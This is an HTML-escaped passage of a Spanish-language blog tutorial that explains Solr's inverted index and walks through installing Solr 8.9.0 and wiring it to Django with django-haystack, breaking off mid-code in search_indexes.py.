document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Internamente Solr usa Lucene, que es el motor de búsqueda que se encarga de generar un índice para realizar las consultas y todas las opciones relacionadas con las búsquedas, Solr agrega unas funciones extras y nos da una interfaz amigable para trabajar. De aquí en adelante me referiré a la unión de Lucene y Solr solo como Solr.&lt;/p&gt;&#xA;&lt;p&gt;Simplificando al extremo, Solr recibe el contenido de nuestra base de datos (o archivo csv, pdf, json, xml, etc.) y, usando una plantilla o esquema (managed schema), genera un índice invertido con la información.&lt;/p&gt;&#xA;&lt;p&gt;Posteriormente, cuando Solr recibe una consulta, consultará el índice generado, ordenará los resultados de acuerdo a su relevancia y los retornará.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/como-funciona-solr-y-django.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/como-funciona-solr-y-django.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Funcionamiento básico de Solr y Django haystack&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;indice-invertido&#34;&gt;Índice invertido&lt;/h3&gt;&#xA;&lt;p&gt;Solr funciona con un índice invertido. Es bastante similar al índice que aparece hasta atrás en los libros técnicos, en el cada tema del libro apunta a una página; en el indexado de nuestra información se generan tokens y estos se relacionan con los documentos que los contienen.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-indice-invertido.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-indice-invertido.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Indice invertido de solr&#34; width=&#34;630&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;ventajas-y-desventajas-de-solr&#34;&gt;Ventajas y desventajas de Solr&lt;/h2&gt;&#xA;&lt;h3 id=&#34;ventajas-de-solr&#34;&gt;Ventajas de Solr&lt;/h3&gt;&#xA;&lt;p&gt;Solr cuenta con muchas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/autocompletado-sugerencias-y-contenido-relacionado-solr-y-django/&#34;&gt;funciones avanzadas, tales como autocompletado, sugerencias, búsquedas por campo y otros.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;El índice invertido de Solr permite realizar búsquedas entre millones de registros en milisegundos.&lt;/li&gt;&#xA;&lt;li&gt;Solr permite generar sugerencias de búsqueda ante errores ortográficos.&lt;/li&gt;&#xA;&lt;li&gt;Devuelve sugerencias de autocompletado.&lt;/li&gt;&#xA;&lt;li&gt;Capaz de realizar búsquedas geoespaciales.&lt;/li&gt;&#xA;&lt;li&gt;Panel de administración con herramientas de monitoreo.&lt;/li&gt;&#xA;&lt;li&gt;Herramientas de análisis avanzadas.&lt;/li&gt;&#xA;&lt;li&gt;Soporte para múltiples núcleos o instancias.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;desventajas-de-solr&#34;&gt;Desventajas de Solr&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Configuración muy compleja.&lt;/li&gt;&#xA;&lt;li&gt;Los parámetros de configuración cambian frecuentemente entre versiones.&lt;/li&gt;&#xA;&lt;li&gt;Es necesario mantener el índice actualizado tras cambios en nuestros datos.&lt;/li&gt;&#xA;&lt;li&gt;Requiere Java.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;instalacion-y-configuracion-de-solr&#34;&gt;Instalación y configuración de Solr&lt;/h2&gt;&#xA;&lt;p&gt;Para instalarlo necesitamos descargar la versión adecuada desde la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://solr.apache.org/downloads.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;página de descargas de Solr&lt;/a&gt;&#xA;. Para esta entrada usaré las siguientes dependencias:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Solr: versión 8.9.0&lt;/li&gt;&#xA;&lt;li&gt;Django: version 4.0.4&lt;/li&gt;&#xA;&lt;li&gt;Haystack: version 3.2.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget https://archive.apache.org/dist/lucene/solr/8.9.0/solr-8.9.0.zip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;unzip solr-8.9.0.zip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; solr-8.9.0/bin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Una vez descomprimido y dentro de la carpeta principal de solr encontraremos una carpeta &lt;em&gt;bin/&lt;/em&gt;, con los binarios de solr.&lt;/p&gt;&#xA;&lt;p&gt;El binario llamado solr tiene los comandos stop y start, para detener y arrancar, respectivamente, solr.&lt;/p&gt;&#xA;&lt;p&gt;Usaremos start para ejecutarlo y, si no ocurre ningún error, tendremos un panel de administración disponible en el puerto 8983.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./solr start&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-panel-principal.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-panel-principal.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Panel control de solr&#34; width=&#34;1170&#34; height=&#34;539&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;nucleos-o-cores-en-solr&#34;&gt;Núcleos o cores en Solr&lt;/h3&gt;&#xA;&lt;p&gt;Un núcleo es una instancia de un índice con sus propios parámetros de configuración. Solr nos permite trabajar con diferentes núcleos.&lt;/p&gt;&#xA;&lt;p&gt;Cuando usamos solr, interaccionaremos con un núcleo, por lo que es imprescindible crear uno para poder efectuar nuestras queries o consultas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;crear-un-nucleo&#34;&gt;Crear un núcleo&lt;/h3&gt;&#xA;&lt;p&gt;Para crear un nuevo núcleo iremos a la sección &lt;em&gt;Add Core&lt;/em&gt; y llenaremos la siguiente información:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;name: El nombre a asignar a nuestro núcleo&lt;/li&gt;&#xA;&lt;li&gt;instanceDir: El nombre del directorio de la instancia, debe localizarse dentro de &amp;lt;solr-x.y.z&amp;gt;/server/solr/ (Aún no existe)&lt;/li&gt;&#xA;&lt;li&gt;dataDir: El directorio donde guardará la data generada (Aún no existe)&lt;/li&gt;&#xA;&lt;li&gt;config: solrconfig.xml (Aún no lo tenemos)&lt;/li&gt;&#xA;&lt;li&gt;schema: schema.xml (Aún no lo tenemos)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-add-core.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-add-core.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Formulario para agregar núcleo en Solr&#34; width=&#34;827&#34; height=&#34;533&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Para configurar Solr crearemos la siguiente estructura dentro de la carpeta de instalación de solr &lt;em&gt;&amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;nombre_de_la_instancia_dir&amp;gt;/&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;nombre_de_la_instancia&amp;gt;/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── conf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── lang&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   └── stopwords_en.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── protwords.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── managed-schema &lt;span style=&#34;color:#78787e&#34;&gt;# Nuestro archivo de configuración personalizable.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── solrconfig.xml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── stopwords.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── synonyms.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;conf&lt;/strong&gt;, contiene los archivos de configuración de nuestro núcleo. Modificaremos managed-schema más adelante.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;data&lt;/strong&gt;, contiene los índices generador de nuestro núcleo (ahora mismo está vacio).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;obtener-los-archivos-de-configuracion&#34;&gt;Obtener los archivos de configuración.&lt;/h3&gt;&#xA;&lt;p&gt;Para no empezar desde cero, tomaremos la carpeta de configuración predeterminada, localizada en &amp;lt;solr-x.y.z&amp;gt;/server/solr/configsets/_default/conf y la llevaremos al directorio de la instancia de solr.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cp -r &amp;lt;solr-x.y.z&amp;gt;/server/solr/configsets/_default/conf &amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;directorio_de_la_instancia&amp;gt;/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si nos dirigimos al panel de administración deberíamos ser capaces de crear el núcleo de manera exitosa.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-creacion-de-un-nucleo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-creacion-de-un-nucleo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Creación de un núcleo exitosa en Solr&#34; width=&#34;1749&#34; height=&#34;571&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;haystack-en-django&#34;&gt;Haystack en Django&lt;/h2&gt;&#xA;&lt;p&gt;Ahora tenemos un núcleo de Solr funcionando, con la configuración básica, pero no lo hemos conectado a Django.&lt;/p&gt;&#xA;&lt;p&gt;Para conectar solr y django configuraremos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-haystack.readthedocs.io/en/master/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;django-haystack&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Django-haystack es un puente entre django y diferentes motores de búsqueda:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ElasticSearch&lt;/li&gt;&#xA;&lt;li&gt;Solr&lt;/li&gt;&#xA;&lt;li&gt;Whoosh&lt;/li&gt;&#xA;&lt;li&gt;Xapian&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Nos permite generar archivos de configuración e interaccionar directamente con los motores para generar índices y realizar búsquedas o consultas.&lt;/p&gt;&#xA;&lt;p&gt;Ahora mismo nos compete solr, por lo que primeramente instalaremos &lt;em&gt;django-haystack&lt;/em&gt; y &lt;em&gt;pysolr&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django-haystack&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;3.2.1 &lt;span style=&#34;color:#ff5c57&#34;&gt;pysolr&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;3.9.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;configurando-haystack-en-django&#34;&gt;Configurando Haystack en Django&lt;/h3&gt;&#xA;&lt;p&gt;Una vez instalado recuerda que debes agregarlo a INSTALLED_APPS, antes de tus aplicaciones. Además necesitamos decirle a Django donde puede encontrar el endpoint para solr a través de la variable HAYSTACK_CONNECTIONS.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;haystack&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# tus apps &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HAYSTACK_CONNECTIONS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ENGINE&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;haystack.backends.solr_backend.SolrEngine&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;URL&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://127.0.0.1:8983/solr/&amp;lt;nombre_del_núcleo&amp;gt;&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;usar-una-clase-de-django-como-base-para-el-indice&#34;&gt;Usar una clase de Django como base para el índice&lt;/h3&gt;&#xA;&lt;p&gt;Una vez instalado necesitamos crear un modelo que sirva como base para la creación del índice de solr. Por convención, haystack busca un archivo llamado &lt;em&gt;search_indexes.py&lt;/em&gt;, dentro de nuestras aplicaciones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/search_indexes.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; haystack &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; indexes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 